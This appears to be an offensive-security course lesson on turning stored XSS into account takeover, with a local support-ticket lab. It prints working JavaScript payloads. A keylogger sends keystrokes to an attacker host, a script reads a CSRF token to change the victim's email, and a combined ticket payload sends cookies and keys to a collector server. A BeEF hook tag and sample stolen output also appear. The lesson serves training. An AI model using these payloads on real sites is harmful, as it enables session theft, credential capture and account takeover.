Lesson 3.5: Exploiting XSS from Cookie Theft to Account Takeover
By the end of this lesson you see that XSS does more than pop an alert box: it steals cookies and sessions, logs keystrokes, performs actions on the victim’s behalf (changing the email, getting past a CSRF token), and you learn that BeEF packages all of this into a control panel.
One payload in the victim’s origin steals the cookie, logs keys, and reads the CSRF token to change the email.
| Part: 3 (Cross-Site Scripting) | Time: about 50 minutes | Difficulty: advanced |
Prerequisites: Lesson 3.2 (Stored XSS), Lesson 3.4 (Bypassing Filters and CSP).
Tools: Python requests, an HTTP server to collect data (for example python -m http.server), a browser, and an overview of BeEF.
Goals
After this lesson you understand why alert(1) is only proof, and the real impact is in what comes after. You can build four kinds of exploitation: cookie theft, a keylogger, actions on the victim’s behalf, and account takeover. You understand why XSS defeats a CSRF token. You know what BeEF is and what it automates.
1. Theory
alert(1) is a flag, not the goal
In CTF or bug bounty, alert(1) only proves “I can run arbitrary JS in this origin”. The real value is this: once you can run JS in the victim’s session, you can do almost anything the victim can do. This lesson walks through the things worth doing.
Cookie and session theft
Covered in Lesson 3.2: if the session cookie has no HttpOnly, reading document.cookie and sending it to the attacker’s server hijacks the session. But what if the cookie does have HttpOnly? There are still the three things below, none of which need to read the cookie.
Keylogger
XSS can attach a key-capturing listener across the whole page:
1
document.onkeypress = function(e){ new Image().src = 'http://attacker/k?c=' + e.key; };
Every key the victim types flies to the attacker. Aim at a page with a password field, a card number, or a token, and you get sensitive data in real time, even when the cookie is protected.
Performing actions on the victim’s behalf
A script running in the victim’s origin can send requests with the victim’s full cookie set. That means it “clicks the button” for them: change the email, change the password, transfer money, create a new admin user, whatever the app allows. This is where XSS turns into account takeover.
Why XSS defeats a CSRF token
Many sensitive actions are protected by a CSRF token (a secret value embedded in the form to block forged requests from another site). A CSRF token stops an attacker on a different origin, because they cannot read the token. But XSS runs inside the victim’s origin, so it reads the token from the DOM easily:
1
2
3
4
5
6
fetch('/account').then(r=>r.text()).then(h=>{
var token = h.match(/name="csrf" value="([^"]+)"/)[1];
fetch('/change-email', {method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'csrf='+token+'&email=attacker@evil.test'});
});
One important point follows: a CSRF token does not save you once there is XSS. You have to kill XSS at the root. Truly sensitive actions should require re-authentication (entering the password again).
BeEF, an overview
In practice few people type each snippet above by hand. BeEF (Browser Exploitation Framework) “hooks” the victim’s browser with a piece of JS (hook.js): as soon as XSS can load <script src="http://beef/hook.js"></script>, the victim’s browser becomes a “zombie” in the attacker’s control panel. From there you run ready-made modules: grab cookies, keylog, screenshot, scan the victim’s internal network, build a fake login popup to phish the password, fingerprint the browser. BeEF turns one XSS hole into a full interface for controlling the victim, useful for demonstrating impact in a pentest report. Ethics note: use it only on systems and users you are authorized for.
2. Demo
The lab labs/3.5/ is a support-ticket system with stored XSS (port 8036), plus an attacker server that collects data (port 8037). The victim is a logged-in support agent. The attacker sends a ticket carrying a payload that does all three things: steal the cookie, keylog, and change the victim’s email through the CSRF token.
1
2
3
python3 labs/3.5/attacker.py # port 8037, writes data to loot.txt
python3 labs/3.5/app.py # port 8036
python3 labs/3.5/exploit.py # attacker sends a ticket, victim opens the inbox
The payload in the ticket:
1
2
3
4
5
6
7
8
9
10
<script>
new Image().src='http://127.0.0.1:8037/log?t=cookie&d='+encodeURIComponent(document.cookie);
fetch('/account').then(r=>r.text()).then(h=>{
var t=h.match(/name="csrf" value="([^"]+)"/)[1];
fetch('/change-email',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'csrf='+t+'&email=attacker@evil.test'})
.then(()=>new Image().src='http://127.0.0.1:8037/log?t=takeover&d=email-changed');
});
document.onkeypress=function(e){new Image().src='http://127.0.0.1:8037/log?t=key&d='+e.key;};
</script>
Real result (from labs/3.5/transcript.txt): the victim’s email is changed from support@corp.local to attacker@evil.test, and the attacker’s server collected:
1
2
3
4
5
6
type=cookie data=session=victim-session-5e9d2a
type=takeover data=email-changed
type=key data=p
type=key data=@
type=key data=s
type=key data=s
Changing the email usually leads to a password reset to the attacker’s inbox, which is a full account takeover.
3. Lab
- Vulnerable app:
labs/3.5/(the lab README explains the setup, runs locally on ports 8036 and 8037). - Task: write a ticket payload that steals the cookie, changes the victim’s email (it must read the CSRF token), and attaches a keylogger; then confirm the attacker’s server collected all three kinds of data and that the email on the app really changed.
- Hint: the change-email action needs the CSRF token. Where is the token? Your script runs in the victim’s origin, so it can GET the
/accountpage and read the token from the HTML. - How to verify without a GUI (the lab does this): the server side is real (the payload is saved and rendered verbatim in
/inbox); the exploitation flow is real on the network, becauseexploit.pyemulates the victim’s browser using the victim’s own real logged-in session (the requests to/account,/change-email, and to the attacker’s server are all real HTTP). The final evidence: the attacker’sloot.txthas the cookie, the typed keys, and the takeover confirmation; the victim’s email on the app really changed. - Solution and real output:
labs/3.5/exploit.py,labs/3.5/transcript.txt,labs/3.5/loot.txt.
4. Common pitfalls
- Stopping at
alert(1)in a report. The reader of a report needs to see impact: show them the session-hijack flow or the email change. - Thinking
HttpOnlyplus a CSRF token makes you immune to XSS. It does not. They reduce some paths, but XSS is still very strong. - A multi-action payload easily hits a JS syntax error, and one error kills the whole string. Test each piece before joining them.
- The async ordering problem: you read the token and only then POST, so you must wait for the first
fetchto finish. Use.then(...)correctly. - Forgetting scope and ethics: all of this is done only on your own app or where you are authorized.
5. Further reading
- PortSwigger Web Security Academy, the Exploiting cross-site scripting section (steal cookies, capture passwords, CSRF via XSS).
- BeEF Project, the official documentation (use only in a lab or where authorized).
- OWASP, the Session Hijacking and Account Takeover sections.
6. Key takeaways
alert(1)is proof of running JS; the real impact is cookies, keylogging, actions on the victim’s behalf.- An
HttpOnlycookie blocks cookie theft, but XSS can still keylog and act on the victim’s behalf. - XSS can read the CSRF token from the DOM, so a CSRF token does not save you once there is XSS.
- Sensitive actions should require re-authentication (re-auth).
- BeEF packages these techniques into a control panel, needing only one XSS hole to hook.
